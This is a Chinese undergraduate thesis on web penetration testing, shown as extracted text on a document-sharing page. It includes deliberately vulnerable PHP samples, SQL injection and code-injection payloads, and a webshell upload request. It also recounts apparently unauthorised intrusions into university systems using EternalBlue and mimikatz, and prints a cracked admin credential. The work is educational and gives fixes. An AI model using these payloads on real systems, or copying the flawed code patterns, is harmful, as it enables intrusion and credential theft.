web安全渗透测试技术实践_第1页
web安全渗透测试技术实践_第2页
web安全渗透测试技术实践_第3页
web安全渗透测试技术实践_第4页
web安全渗透测试技术实践_第5页
已阅读5页,还剩75页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

web安全渗透测试技术实践web安全渗透测试技术实践I/NUM绪论1.1研究背景及意义随着互联网的发展,互联网+给各行业带来新的升级的同时,传统行业的业务在往向互联网上进行迁移【2】。随着web应用的普及,个人,企业及政府都有自己的web系统,同时电子商务,电子政务,电子支付等信息化的产物为大家带来非常大的便利。但凡事都是有利有弊的,在信息化带来便利的同时,也存在潜在威胁,一些不法分子通过攻击web应用获取非法利益,大量个人信息泄露,通过泄露的个人信息登录支付宝,或银行卡造成财产损失。企业的商业信息被盗走卖到竞争对手手上,造成企业专利财产等损失。国家的机密文件泄露,会给国家造成不可估量的损失,严重危害国家安全。下表1.1列举近年来影响较大的安全事件。表1.1安全事件事件造成影响“棱镜门”事件斯诺登曝光的美国的监控计划[3],对世界信息安全敲响警钟。OpenSSL“心脏出血”2014年最知名的安全漏洞“心脏出血”,黑客利用该漏洞可获取全球近三成以https开头网址的用户登录帐号[4]。12306数据泄露事件入侵者通过“撞库”入侵,超过13万条用户数据被泄露出去,对个人出行造成不便。圆通泄露客户百万信息商业信不严重不安全,快递行业信息泄密愈演愈烈。中国人寿近百万份保单信息泄露保单包含个人资料全面,泄露这些资料非常危险。WEB渗透测试通过站在入侵者的立场,尽可能完整的发动技术攻击和手段对目标应用安全性做深入测试,发现目标系统的最脆弱环节,能够让用户直观的看到当前应用的脆弱性、可能造成的影响、以及采取必要的防护措施。1.2WEB安全现状WEB安全作为网络安全分支之一,近几年来Web系统遭到入侵攻击,数据泄密,页面被篡改数量巨大。这些被盗数据或者机密文件对个人企业或者国家机构造成很大的损失。由于近些几年国家重视网络安全,并且颁布相关法律,很少有学校开相关课程,web安全工程师挺缺人,很多互联网公司保护自己公司财产,自己都设有SRC(应急响应中心),在人员招聘上重金难聘,足以说明目前web安全是一个很大缺口的市场,在未来的物联网世界,物联网安全很有前景。应用漏洞的研究组织OWASP组织在2013年发布了web应用前10大风险漏洞OWASPTOP10【10】,例举了2010-2013年期间针对web攻击频率最高的十大攻击方法。表1.2OWASPTOP10-2013序号漏洞名称A1注入A2失效的身份认证和会话管理A3跨站脚本(XSS)A4不安全的直接对象引用A5安全配置错误A6敏感信息泄漏A7功能级访问控制缺失A8跨站请求伪造(CSRF)A9使用含有已知漏洞的组件A10未验证的重定向和转发目前随着国家高度重视网络安全,在此巨大市场缺口的下,国内安全公司如雨后春笋般拔地而起,原先一些攻击者惧于现在的网络安全法,现在已经洗白从事安全维护工作,壮大了安全公司,随着这个行业被认可,商业化市场缺口推动着安全公司对技术的追求。这里列举了一些国内常见的安全厂商和产品。 表1.3国内常见安全厂商和产品厂商名称产品名称360360主机卫士知道创宇乐安全安全狗安全狗主机卫士绿盟科技Web应用防火墙深信服下一代防火墙启明星辰WAF100001.3本文结构第一章是绪论说明了对渗透技术实践的背景和意义,以及目前web安全的现状。第二章是对web组成结构的了解,先知道是什么东西,其次再对web方面的常见漏洞原理分析。第三章古人说工欲善其事必先利其器,这张介绍了一些辅助工具,再手工渗透的时候借助工具可以提高效率。第四章是完整的web渗透流程,将零碎的知识串起来,从而达到一个层次的提升。第五章是一个实践的项目,实践是查验理论的独一标准,通过实践,可以大大提高自身的技术和兴趣。2web渗透测试理论基础2.1web应用组成客户端HTML语言简介HTML是这几个(HyperTextMark-upLanguage)英文首字母大写的缩写,用中文翻译过来就是文本标记语言,通常我们所说上网冲浪中“冲浪”访问的页面主要就是用这种语言写的。HTML语言通常可以表示文字、图片、动画片、音乐、链接等。其组成部分主要由head、Body组成。CSS是CascadingStyleSheet,这三个英文首字母大写的缩写。中文翻译为层叠样式表。是用来增强网页排版和网页内容优化的一种语言。可以这么说,HTML的标签是定义网站页面的内容,CSS标签是控制网站页面的内容如何显示。Javascript是一种浏览器端的脚本的言语,可以通过浏览器直接执行,广泛用于web前段。服务端及数据库PHP语言简介PHP是由HypertextPreprocessor缩写而得到的,中文翻译过来“超文本处理”是一种很优秀的服务端脚本语言。很多大型网站,博客系统,购物系统都是用php语言编写的,通常php+mysql+apche+liunx是非常好的组合。ASP/ASP.NET语言简介ASP(ActiveServerPages),其实是一套微软开发的服务器端脚本环境,是创建动态网页的一个很好的工具【5】,ASP.NET是ASP的升级版,不过ASP.NET比ASP更加优秀,ASP.NET具有网站开发的解决方案,包括验证身份,缓存网页等。其部署和调试非常简单,通常和微软出的web容器IIS在数据库sqlserver搭配较好。JSP语言简介JSP是sun公司开发的一种动态网页技术,JSP是跨平台的,他做出的应用可以分别在类unix和win平台上跑起来。JSP的全称是JavaServerPages,是由HTML代码和嵌入到其中的JAVA代码组成的。MYSQL/SQLSERVER/ORCLE这三个都是关系型数据库,其中MYSQL为开源的数据库,SQLSERVER是微软研发出来的数据库,ORCLE为甲骨文公司的数据库。他们都是存储数据的仓库,都可以建立数据库,数据库里面建立数据表,数据表里面有行和列,有不同的权限,可以操纵的数据库不一样。web服务器软件及操作系统iiS的全称是InternetInformationServices,中文翻译为互联网信息服务,主要是提供web服务,用于放置ASP,ASP.NET语言编写的脚本,为用户提供网上冲浪服务,网上学习,购物等。目前最新的版本是IIS8,IIS5和IIs6都有相应的文件漏洞,配合文件上传漏洞,对web安全的危害大,可导致直接拿下web站点,进一步提权入侵操作系统,从而渗透到内网。漏洞出现后微软官方也出过相关补丁,建议升级最新的IIS组件。APCHEApacheHTTPServer(简称Apache)是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其跨平台和安全性被广泛使用【6】。NGINXWINDOWS类服务器操作系统Windows服务器是微软公司研发出来的一款操作系统,服务器和我们平时用的windows操作系统差不多一样,只是在某些服务功能上比普通的操作系统好点,在硬件资源上需要用的资源用以提供各种服务。LINUX类操作系统也是操作系统的一种,它的最大的优点就是提供源代码开放,可以使用很多免费开源软件。大多数web容器都会部署在linux上面,因为liunx操作系统稳定安全,占用硬件资源较小,企业用来花费少,在此基础上衍生出很多成功版本如redhat,ubuntu,centos非常成功。2.2HTTP协议简介图1http请求和发送HTTP协议说明HTTP是由HyperTextTransferProtocol这三个英文首字母大写缩写而得到的,这个协议是负责web客户端和服务端通信,一般版本是1.0,由美国人TedNelson发明的,他想发明一种处理计算机文本的方法,为HTTP协议发展奠定了基础。HTTP请求结构图2HTTP请求结构图一个请求由四个部分组成:请求行、请求头标、空行和请求数据1.请求行:是由请求方法、请求URI和HTTP版本组成。 例如:GET/index.htmlHTTP/1.1 HTTP协议规定了8种请求的协议:GET请求是一个简单的请求方法;HEAD请求是与GET方法类似,服务器那边只返回状态行和头标,不 返回所要请求的文档;POST请求向服务器传送数据流;PUT请求是服务器保存请求数据作为指定URI新内容的请求;DELETE请求服务器请求删除URI中命名的1资源请求的一种方式;OPTIONS请求是关于服务器支持的请求方法信息的请求;TRACE请求是Web服务器反馈Http请求和其头标的请求;CONNECT请求是已文档化但当前未实现的一个方法,预留做隧道处理。2.请求头标:由关键字和值对应组成,每行一对,关键字和关键值之间用冒号分里开,请求头标通知服务器有关于客户端的功能和标识,典型的请求头标有【7】:User-Agent是客户端浏览器的标识;Accept是客户端可识别的内容类型列表;Content-Length是附加到请求的数据字节数。空行:最后一个响应头标之后是一个空行,发送回车符和退行,表明服务器以下不再有头标【8】。4.请求数据:通过POST传送数据,经常使用的是Content-Length和Content-Type头标这两种标识。HTTP响应结构如下图所示:图3HTTP响应头一个响应由四个部分组成;状态行、响应头标、空行、响应数据状态行:响应代码和响应描述和HTTP版本这三个标记组成。HTTP版本:通告客户端服务端能是别的版本。响应代码是3位的数字代码,用来指示请求状态(成功或者失败);响应描述是解释响应代码。例如:HTTP/1.1200OK:HTTP响应码由1xx:信息,收到请求,表示继续处理;2xx:成功,表示请求成功;3xx:重定向,重新修改请求的url;4xx:客户端出现错误。2.响应头标是类似与请求头标,里面包含服务的相关信息。3.空行是表明服务器以下不再有头标,最后一个响应头标之后是一个空行,发送回车符和退行。4.响应数据是html文档相关的东西,本身需要接收的数据。2.3web应用常见漏洞分析代码执行和命令注入代码执行,就是在web服务软件中任意执行恶意破坏的代码。命令注入,就是在可以在服务端执行操作恶意系统的命令。这两种情况都是由于代码/命令过滤不严谨所致。代码执行漏洞服务端的代码演示。 <?php$myvar="varname";$x=$_GET['arg'];eval("\$myvar=$x;");?>攻击者可以通过如下Payload实施代码注入:/dmzx.php?arg=1;phpinfo()图4代码执行演示命令注入的源代码展示PHP语言提供了一些用来执行外部应用程序的函数,例如:exec()system(),passthru(),和shell_exec()等函数。<?phpif(isset($_POST['submit'])){$target=$_REQUEST['ip'];//DetermineOSandexecutethepingcommand.if(stristr(php_uname('s'),'WindowsNT')){$cmd=shell_exec('ping'.$target);echo'<pre>'.$cmd.'</pre>';}else{$cmd=shell_exec('ping-c3'.$target);echo'‘’<pre>'.$cmd.'‘’</pre>';}}?>这段代码中并未对ip这个参数进行过滤,导致再输入时可以输入多个命令。图5命令注入1图6命令注入2代码执行和命令注入防范思路。尽量不要使用系统命令执行,在进入执行命令函数之前,变量一定要做好过滤,对敏感字符进行转义,在使用动态函数之前,确保使用的函数是指定函数之一,对php语言来说,不能完全控制的危险函数最好不要使用。SQL注入攻击SQL注入漏洞是一种常见的web安全漏洞,它的本质原因是在和数据库交互数据的时候,编程人员写的代码过滤不严谨,攻击者经常利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。SQL注入类型可分为3种,数字型注入,搜索型注入,字符型注入。;select*fromnewswhereid=1and1=1字符型注入:;select*fromnewswherechr='name';select*fromnewswherechr='name'and1=1''搜索型注入:;select*fromnewswheresearchlike'%汉字%';select*fromnewswheresearchlike'%汉字%'and'%1%'='%1%'判断注入点;执行语句select*frompaperswhereid=1and1=2页面返回显示不正常。图7正常页面对比不正常页面php+mysql手工注入演示('unionselectuser(),database()#)图8注入演示1php+mysql手工注入演示('unionselect1,2#)图9注入演示2php+mysql手工注入演示('unionselectuser,passwordfromusers#)图10注入演示3文件上传上传检测流程概述图11上传演示1文件上传检测方法通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求并同意后,用户与web服务器将建立连接,并传输dafa【9】。通常在文件上传过程中会检测下面红颜色标出来的代码。图12上传演示2A客户端对前端语言javascript检测(通常为检测需要上传的文件扩展名)B服务端对所上传文件的MIME类型检测(检测Content-Type内容)C服务端对所上传文件的目录路径检测(检测跟path参数相关的内容)D服务端对所上传文件的文件扩展名检测(检测跟文件extension相关的内容)E服务端对所上传文件的文件内容检测(检测内容是否合法或含有恶意代码)客户端检测绕过(javascript检测)图13上传演示3客户端检测主要是通过前端javascript脚本检测文件的后缀是否为允许的格式。服务端检测绕过(MIME类型检测)图14上传演示4假如服务器端上的upload.php代码如下<?phpif($_FILES['userfile']['type']!="image/gif"){//检测Content-typeecho"Sorry,weonlyallowuploadingGIFimages";exit;}$uploaddir='uploads/';$uploadfile=$uploaddir.basename($_FILES['userfile']['name']);if(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){echo"Fileisvalid,andwassuccessfullyuploaded.\n";}else{echo"Fileuploadingfailed.\n";}?>然后我们可以将request包的Content-Type修改POST/upload.phpHTTP/1.1TE:deflate,gzip;q=0.3Connection:TE,closeHost:localhostUser-Agent:libwww-perl/5.803Content-Type:multipart/form-data;boundary=xYzZYContent-Length:155--xYzZYContent-Disposition:form-data;name="userfile";filename="shell.php"Content-Type:image/gif(原为Content-Type:text/plain)<?phpsystem($_GET['command']);?>--sSxYzZY--收到服务器端返回来的应答HTTP/1.1200OKDate:Thu,31May201114:02:11GMTServer:Apache2.3Content-Length:59Connection:closeContent-Type:text/html<pre>Fileisvalid,andwassuccessfullyuploaded.</pre>可以看到我们成功绕过了服务端MIME类型检测。像这种服务端检测http包的Content-Type都可以用这种类似的方法来绕过检测。图15上传演示5服务器检测绕过(目录路径检测)图16上传演示6图17上传演示7可以看到图中,在最后将要进行写文件之前的变量状态sFilePath=C:/wamp/www/userfiles/image/fnck.php.gif/fvck.gif(.php后面是0x00)当右图执行move_uploaded_file($oFile['tmp_name'],$sFilePath)这个函数时把FilePath写入到了确定的位置,但是web服务器软件底层是用C语言写的,遇到0x00还是会截断,所以最后C:/wamp/www/userfiles/image/fnck.php才是真正写进去的实际地址;把本来fvck.gif里的内容然后把C:/Temp/phpf3at7b的内容写入到C:/wamp/www/userfiles/image/fnck.php里这样便获得了我们所想要的webshell。服务端检测绕过(文件扩展名检测)图18上传演示8通过改变文件名的大小写绕过,用像pHp,Asa诸如此类的文件名以此来绕过黑名单检测;黑名单的名单列表绕过,用黑名单里没有的名单进行攻击,比如有些黑名单里并没有cer或asa之类;使用特殊的文件名绕过,比如把发送的http数据包里面把文件名改变成test.asp_(下划线为空格)或test.asp.,通过这种命名方式,但是在windows系统里是不会被允许的通过的,所以只需要在burpsuit之类和feider里进行修改,然后绕过验证后,会被windows操作系统自动去掉文件后面的点和空格,但要防止注意Linux/Unix操作系统没有这个特性;使用0x00截断绕过,在扩展名检测这一块目前我只遇到过asp的程序有这种漏洞,给个简单的伪代码name=getname(httprequest),假设此时获取到的文件名是test.asp.jpg(asp后面为0x00)。type=“”gettype(name)而在gettype()函数里处理方式是从后往前扫描扩展名,所以“”判断为jpg:if(type==jpg)SaveFileToPath(UploadP,name)/在这里将会是以0x00作为文件名截断,最后以test.asp存入路径里。图19上传演示9服务端检测绕过(文件内容检测)这种文件内容检测是做严格的,如果能把这道关卡突破了,后面所有的上传漏洞都会有很大机会,配合一些web服务器软件的解析漏洞,会使攻击者如虎添翼。逻辑漏洞逻辑越权漏洞,越权分为垂直越权和平行越权。垂直越权举例:某论坛存在任意垂直越权,随意注册一个用户,注册成功后用该用户名和密码登录该论坛,通过修改COOKIES中username的值就可以获取相应用户的权限。发布修改文章、查看订单、操作。图20逻辑漏洞1图21逻辑漏洞验证平行越权举例:平行越权常修改某一参数,可以枚举出所有不同结果,例如下面代码修改DeliveryAddrDto.addrid参数的值可以得到不同结果,这样信息就泄露了。User-Agent:Mozilla/5.1(WindowsNT6.1;WOW64;rv:34.0)Gecko/20100101Firefox/34.2Accept:text/html,*/*Accept-Language:zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding:gzip,deflateContent-Type:application/x-www-form-urlencoded;charset=UTF-8X-Requested-With:XMLHttpRequestContent-Length:39Cookie:cookiehideConnection:keep-alivePragma:no-cacheCache-Control:no-cachexcase=init&DeliveryAddrDto.addrid=82833逻辑漏洞的防御。cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。cookie中设定session参数,以防cookie可以长时间生效。3web渗透测试常用工具3.1Firefox火狐浏览器Firefox是火狐浏览器,也是一款手工渗透的得力助手,因为有很多插件可以用,这点让火狐称为渗透爱好者爱不释手,常用的插件有Firebug这个Firebug把丰富的集成工具在里面,可以随时调用调试,不需要借助其他的工具,这个是非常方便的。UserAgentSwitcher这个可以修改HTTP协议里面USERAgent头,让浏览器伪装成其他访问设备。Hackbar这个插件是SQL注入和XSS常用的,里面有编码解码,加密解密等好用的功能。FoxyProxy这个是用来切换代理的工具,让自己web浏览器随时切换代理很方便。图22火狐浏览器截图3.2AWVS网站扫描器AWVS(AcunetixWebVulnerabilityScanner)这是一个自动式检测网站漏的工具,在手工检测开始之前可以先让AWVS跑跑网站,可以看到网站目录结构和一些显而易见的漏洞。图23AWVS界面截图AWVS该扫描器支持网站的整站扫描,网站的整站爬行,还可以扫描指定网站开放的特殊端口,还支持子域名扫描,SQL盲注手工检测,HTTP信息的查看和编辑,HTTP的监听和嗅探,HTTP认证测试,网站开放的服务进行全面扫描,网站手工分析,还可以支持大批量站点扫描。3.3NMAP扫描利器Nmap的英文全称是NETWORKMAPPER,中文翻译为网络映射器,nmap是一个开放源代码的网络信息探测和安全审核工具。在渗透的过程中最常用namp进行主机存活探测和开放端口扫描。可以探测服务器操作系统指纹,端口所开启什么服务,根据服务推测可能运行什么程序,从而判定用何种漏洞进行攻击。Nmap支持扫描方式很多。最常用的扫描有-sSTCPSYN扫描,-sTTCPSYN连接扫描-sUUDPSYN扫描-P指定端口扫描。图24NMAP截图3.4Burpsuit抓包利器BurpSuite是用于攻击web应用程序的集成平台。在实际的渗透过程中经常用burpsuit抓包,改包,用于爆破一些后台,用于爬去网站目录,了解网站结构,也具有编码解码功能。图25BURPSUIT界面截图用burpsuit软件抓取数据包图26浏览器设置代理图27burp设置监听3.在Proxy菜单栏将拦截开关intercept置于on状态就可以进行数据包的拦截了。图28将开关置于on状态图29查看返回数据包使用burp爆破弱口令,通过下面的演示,展示burp强大的爆破功能,其字典组合方式可以多种多样。图30爆破演示1通过burp拦截数据包的功能,拦截登录的表单数据,先在表单输入账号密码,让burp拦截到。图31爆破演示2图32爆破演示3图34爆破演示4上图34演示的是加载密码字典,然后开始爆破。图35爆破演示53.5SQLMAPSQL漏洞利用神器Sqlmap目前是SQL结构化语句注入漏洞利用最好的工具没有之一,这款工具是开源的,特点是操作灵活,作用大,适用范围广,可以支持,开源数据库MYSQL、微软数据库SQLSERVER、甲骨文数据库ORACLE、DB2、PostgreSQL、微软access数据库、SQLite和Sybase等,支持5种注入方式,极大提高了稳定性和命中率。一基于布尔(boolean-basedblind)的盲注,可以根据返回页面情况从而来判断条件真假的注入。二基于时间(time-basedblind)的盲注,不能根据页面返回内容来判断是否存在注入的信息,用适合的条件语句查看时间延迟语句是否执行成功(即页面返回时间是否增加)来判断。三基于报错注(error-based)入,即返回错误信息在页面上,或者把注入的语句产生的结果直接返回在页面中。四联合查询(UNIONquery-based)注入,可以使用union的情况下的注入。五堆查询(stackedqueriesandout-of-band)注入,可以同时执行多条语句的执行时的注入。SQLMAP常用命令:-p 指定参数--dbs 列举数据库--is-dba 是否管理员权限--current-db 当前数据库--current-user 当前用户--tables 列举数据库里面的表--columns 列举表中的列名--dump-all 下载所有数据库的条目SQLmap使用演示图6sqlmap演示1图37sqlmap演示23.6Hydra爆破利器Hydra是一款知名的密码爆破工具,支持很多设备和协议的爆破。支持的协议例如SSH,TELNET,3389端口等很多。暴力破解这种古老的枚举方法,至今还是挺好使的,大多数人没有安全意识,密码设置很简单,随着大量个人信息泄露,在针对目标进行破解时,可以用目标相关信息成一个专门针对某个目标的字典。4web渗透测试步骤设计4.1信息搜集域名信息查询域名本质也就是个名称,如这个就是百度网站的名称,就和某个人的名字一样。我们在访问网站的时候,域名通常被解析为IP地址,这个IP地址才是网络上辨别主机的唯一标识,就和个人身份证一样,但是这个ip地址和身份证很难记下,所以都用域名和名字来代替,但是唯一区别是名字可以重复,域名没有重复的。为什么对域名查询通过查询域名可以发现该网站拥有者的的姓名、邮箱。初步有了这些信息后,可以在社工库中在扩大该域名拥有者的信息。例如,通过有些邮箱可以查询到以前用过的密码等。如果该网站管理员用的密码都是一个的话,找到后台就可以直接登录网站后台,进入后台后网站更容易被拿下。下图可以看出该网站注册人为和邮箱。图38whois查询查询web服务器软件和服务端脚本语言Web服务器软件在前面介绍过了,是用来运行服务端脚本语言的一种软件。图39查看web服务器软件信息和服务端脚本语言操作系统指纹和开放端口扫描操作系统指纹,图40nmap探测操作系统探测开放端口,如果把计算机比作房子,端口就是窗户,端口是计算机相互交流的基础。而且从端口可以看出计算开了什么服务,甚至可以推算出计算机上安装什么软件。在windows系统上常见端口对应的服务有,21号端口文件传输协议FTP,22号端口SSH服务,23号端口TELNET服务,sqlserver数据库默认端口是1433,mysql数据库默认端口是3306,orcle默认端口是1521,3389端口是远程连接。下图中namp扫描结果显示,开放端口吧对应服务也探测出来了。图41端口探测结果探测服务器指纹和端口服务主要作用在于,根据服务猜测可能运行的应件,再根据应用软件漏洞对服务器进行渗透,从而拿下目标。CMS模板识别和网站目录结构CMS模板识别,CMS的全称是ContentManagementSystem,内容管理系统。内容管理系统的模板,就是常见的套用什么模板,如果检测到网站属于哪个模板,而模板也爆出漏洞的话,这个漏洞就是通杀的,所有使用这套模板的网站,都能被拿下。一般网站使用的模板都会在系统底部显示。图42CMS模板识别网站目录结构检测,网站目录结构,除了从CMS模板看目录结构外,还可以用扫描器进行爬行或者目录遍历。遍历目录的作用为了发掘一些特殊作用页面,比如上传页面,或者网站上开源的编辑器FCKedtier,上传页面可以直接进行上传,置于FCK版本低的话可以直接利用相关漏洞,下图是AWVS爬行的目录结构。图43目录结构旁站信息搜集旁站信息收集,也是渗透过程中的常用的手法。一般服务器上为了最大利用硬件资源,通常会划分多个虚拟主机出来,每个虚拟主机都放一个web站点,提高服务器利用率。这个原理就是在入侵A网站的时候,A网站防护很严,那就入侵在同一服务器上B网站或者C网站,找一个容易拿下的网站,然后通过提权拿下服务器,等于拿下所有网站了,通常旁站查询在微步在线上查询。下图查询结显示,这个服务器上有87个站点。图44旁站查询4.2漏洞挖掘实战某高校图书管理系统存在注入Sql注入类漏洞最容易出现在数据交互的地方,在对谋学校图书管理系统进行友情检测的例子如下。图45点击图书资料,准备借书。在登录界面输入用户名的地方输入一个英文单引号(‘)出现报错误情况,猜测可能存在SQL注入。图46登录框图47确定注入漏洞图48泄露信息内容抽样针对这个SQL注入漏洞,在登录框服务端接收数据时对特殊字符例如单引号、双引号等进行转义。某高校网站存在上传漏洞一般情况下,直接上传漏洞还是很难找见的,配合目录遍历,可以尝试找特殊页面上传文件。通过目录遍历发现该网站后台地址。域名/WebSystems/login.php图49上传演示1有开始对后台目录进行遍历发现,域名WebSystems/install.php,该页面泄露敏感信息。图50上传演示2直接上传webshell用菜刀连接。图51上传演示3菜刀连接webshell后服务器上的文件可以自行下载上传,危害巨大。图52getshell针对这个问题,这些目录中包含了敏感内容,请删除这些目录,或者正确设置权限,禁止用户访问。某高校网站存在敏感文件泄露网站敏感信息泄露,也是个危害很大的问题,有时严重泄露管理员账号密码。发现泄露数据库页面。图53信息泄露演示1查看数据库语言看出管理员账号密码。图54信息泄露演示2通过解密MD5值得出来后台账号和密码分别为admin#hqsy$hqsy登录进入后台,控制后台之后可以随意发文章等。图55登录后台针对此问题,加强对网站目录权限加管理,禁止非法访问,在服务端接收http协议中校验x-forword是否来源于登录页面。某高校网认证服务器存在445端口漏洞通过泄露的NSA武器库中的eternalblue和DoublePulsar直接可以拿下服务器权限,生成一个带有反弹的.dll文件。图56生成win2008.dll文件先在kali上用metasploit设置监听,通过DoublePulsar将恶意win2008.dll文件传送到目标机上,执行成功,kali上收到一个反弹的会话。图57收到反弹会话上传mimikatz.exe抓取管理员账号密码,通过3389远程连接登录认证服务器。图58成功拿到权限针对此漏洞修复方法,最完美的是及时下载微软补丁,防止安全问题。另一方法是在防火墙入栈和出栈规则禁止445端口,这样完全隔离端口也会起到作用。4.3后渗透阶段后渗透阶段是体现高手和入门新手的区别,后渗透阶段分为,权限维持和扩大战果,权限维持是很重的,在持续对客户应用系统渗透过程,后面想要挖掘出漏洞需要从业务上找问题,如果权限维持不到想进一步发掘漏洞,扩大战果就会变得很难,或者从头开始,这样就浪费大量时间和经历。4.4渗透测试报告的撰写要求渗透测试在最后阶段一定要出一份渗透测试报告,这才算整个渗透的完成。渗透测试最主要的目的就是发现问题,要全面的站在入侵者的立场,动用一切办法发现客户的问题,并且提出修补方法,避免客户的损失。当然,渗透测试报告作为自己帮助客户的依据,和客户沟通的文件,更是不可缺少的。渗透测试报告是一次渗透测试的主要价值体现:第一点,要必须写入渗透测试概述及最终目的,然后写入渗透测试项目的起因,如果没有起因也可以介绍渗透测试意义。第二点,一定要精准的说明日期以及要执行渗透测试的人员名单,也要列出的渗透测试过程中需要使用的工具。第三点,明确渗透测试的入侵的对象以及场所,可以根据不同的渗透测试对象进行总结。第四点,明确渗透的使用方法,从最开始的收集信息到最后的结果生成报告。第五点,对测试结果发现的安全风险综述及存在的风险加固建议。

5总结目前,互联网技术的发展速度已经远远超越了网络犯罪的立法速度,有一些立法对互联网犯罪的处罚力度非常轻,还有一些互联网犯罪活动并没有相关的法律规定。这种情况对于加大网络信息安全的打击力度是非常不利的。因此,现在要加快对互联网犯罪的立法工作,使得在处理互联网犯罪的时候可以做到有法可依。近些年,国家加大了最互联网的监督和监管力度,使得很多的互联网犯罪活动能够在较短的时间内得到取证和解决,但是相对而言,公民的互联网安全意思还是比较淡薄,因此,提高公民的互联网安全意识也成了迫在眉睫需要解决的问题。重点加强对全社会信息安全问题的统筹安排,对信息安全工作责任制要不断深化细化;加强重点信息领域的安全保障工作,推动信息安全等工作的开展、要把安全测评、应急管理等信息安全基本制度落到实处;加快推进网络与信息安全应急基础平台建设;提升信息安全综合监管和服务水平,积极应对信息安全新情况、新问题,针对云计算、物联网、移动互联网、下一代互联网等新技术、新应用开展专项研究,建立信息安全风险评估和应对机制;建立统一的网络信任体系、信息安全测评认证平台、电子政务灾难备份中心等基础设施等,力求对信息安全保障工作形成更强的基础支撑。参考文献[1]魏倩倩.[计算机网络信息问题分析].[电子测试].2014年11期:P67—P69[2]朱斌符刚.[移动互联网发展探讨].北京:朱斌符刚,2012[3]杨忱.[美国信息霸权及其对我国的影响].广西:杨忱,2015[4]吴松泽.[基于Web安全的渗透测试技术研究].哈尔滨:吴松泽,2015[5]李丽萍.[云南经济管理职业学院校园信息管理系统设计与实现].云南:李丽萍,2011[6]赵飞.[基于Web的多用户个人主页管理系统设计].西安:赵飞,2013[7]何山.[论如何构建一个轻量型嵌入式Web服务程序].[电脑编程技巧与维护].2013年10期:P69—P72[8]封相远.[基于Linux操作系统的Web服务器的设计与实现].天津:封相远,2007[9]刘仁珩.[上传漏洞原理及防范].[江西通信科技],2014年4期:P39—P42[10]李宁.[web应用渗透测试方法研究].西安:李宁,2010谢辞这篇毕业设计是大学四年来学习成果的展示,论文从设计到思考再到成品主要都是自己独立完成的,当然也离不开指导老师的关怀和指导,这里表示非常感谢。这篇论文用到了我在XXXX四年学习到的知识,有一部分知识点超出专业所学的范围,我借助互联网查询相关文献,对于在文章引用的文段,我都在本文结尾标注了出处和作者。感谢这四年XXXX对我的辛苦培养,回想起大一的幼稚懵懂,现在自己已经成熟稳重多了,在学校这四年里我得到了德智

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论